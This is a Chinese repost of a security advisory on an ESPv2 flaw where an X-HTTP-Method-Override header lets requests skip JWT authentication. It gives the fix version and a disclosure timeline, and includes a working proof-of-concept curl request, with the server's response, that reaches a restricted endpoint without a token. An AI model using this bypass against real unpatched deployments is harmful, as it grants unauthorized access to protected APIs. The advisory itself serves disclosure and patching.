通过“X-HTTP-Method-Override”标头绕过 JWT 身份验证
2023-6-21 08:2:50 Author: Ots安全(查看原文) 阅读量:18 收藏

概括
ESPv2 包含身份验证绕过漏洞。API 客户端可以制作恶意X-HTTP-Method-Override标头值以在特定情况下绕过 JWT 身份验证。
背景
X-HTTP-Method-Override作为参考,下面复制了有关 JWT 身份验证的背景信息。
X-HTTP-方法覆盖
在某些情况下(例如,当服务或其使用者位于过分热心的公司防火墙后面时,或者如果主要使用者是网页),可能只有 和 HTTP 方法GET可用POST。在这种情况下,可以通过X-HTTP-Method-Override在请求中传递标头来模拟缺失的动词。
例如,API 客户端可以通过以下请求发送PUT请求:POST
curl --request POST \ --header "X-HTTP-Method-Override: PUT" \ --header "Content-Type: application/json" \ --data '{"username":"xyz"}' \ https://my-endpoint.com/api
JWT认证
如果您遵循以下任何 OpenAPI 或 gRPC 教程,ESPv2 将使用 JWT 身份验证:
  • 使用 Firebase 对用户进行身份验证
https://cloud.google.com/endpoints/docs/openapi/authenticating-users-firebase
  • 使用 Auth0 对用户进行身份验证
https://cloud.google.com/endpoints/docs/openapi/authenticating-users-auth0
  • 使用 Okta 对用户进行身份验证
https://cloud.google.com/endpoints/docs/openapi/authenticating-users-okta
  • 使用 Google ID 令牌对用户进行身份验证
https://cloud.google.com/endpoints/docs/openapi/authenticating-users-google-id
  • 使用自定义方法对用户进行身份验证
https://cloud.google.com/endpoints/docs/openapi/authenticating-users-custom
  • 服务之间的认证
https://cloud.google.com/endpoints/docs/openapi/service-account-authentication
影响
如果两个条件都为真,ESPv2 允许恶意请求绕过身份验证:
  1. 请求的 HTTP 方法不在API服务定义中(OpenAPI 规范或 gRPCgoogle.api.http原型注释)。
  2. 指定的X-HTTP-Method-Override是 API 服务定义中的有效 HTTP 方法。
ESPv2 会在不检查 JWT 的情况下将请求转发到您的后端。攻击者可以制作具有恶意X-HTTP-Method-Override值的请求,使他们能够绕过指定的 JWT。
无影响
使用 API 密钥限制 API 访问按预期工作并且不受此漏洞的影响。
例子
考虑一个示例,其中一个简单的 REST API 服务POST在 path 处接受请求/restricted。
@app.route("/restricted", methods=['POST'])def restricted(): message = "Accessing restricted message." payload = request.get_json().get('payload', '') return jsonify({'method':'POST', 'message': message, 'payload': payload})
该服务置于 ESPv2 之后,ESPv2 配置为POST仅接受来自提供有效 JWT 令牌的客户端的请求。以下使用 Google ID 令牌对用户进行身份验证:
# config.yamlswagger: "2.0"info: title: "restrictedAPI" version: "1.0.0"paths: "/restricted": post: summary: "Restricted path POST" operationId: "restrictedPost" security: - google_id_token: []securityDefinitions: google_id_token: authorizationUrl: "" flow: "implicit" type: "oauth2" x-google-issuer: "https://accounts.google.com" x-google-jwks_uri: "https://www.googleapis.com/oauth2/v3/certs" x-google-audiences: "XXXXXXXXXXX.apps.googleusercontent.com"
如果一个恶意的 API 客户端发出PUT请求并传递标头POST中的方法,X-HTTP-Method-Override如下所示:
curl --request PUT \ --header "X-HTTP-Method-Override: POST" \ --header "Content-Type: application/json" \ --data '{"payload":"compromised"}' \ https://url-to-espv2.com
恶意客户端成功绕过Using Google ID tokens to authenticate users而无需指定 JWT:
{"message":"Accessing restricted method.","method":"POST","payload":"compromised"}
修复和缓解
升级部署以发布 v2.43.0 或更高版本。此版本确保发生 JWT 身份验证,即使调用者指定x-http-method-override.
x-http-method-overridev2.43.0+ 仍然支持。API 客户端可以继续将此标头发送到 ESPv2。
时间线
  • 向 ESPv2 团队披露的日期:2023-03-14
  • ESPv2 中固定的日期:2023-03-28

原文地址:https://github.com/GoogleCloudPlatform/esp-v2/security/advisories/GHSA-6qmp-9p95-fc5f

感谢您抽出

.

.

来阅读本文

点它,分享点赞在看都在这里


文章来源: http://mp.weixin.qq.com/s?__biz=MzAxMjYyMzkwOA==&mid=2247499091&idx=4&sn=4b0547a549619919a64a5cc47b587d30&chksm=9badb418acda3d0ecc562a4d4e51000032b53914824371885422524947fb1d002f9f9636c0ee#rd
如有侵权请联系:admin#unsafe.sh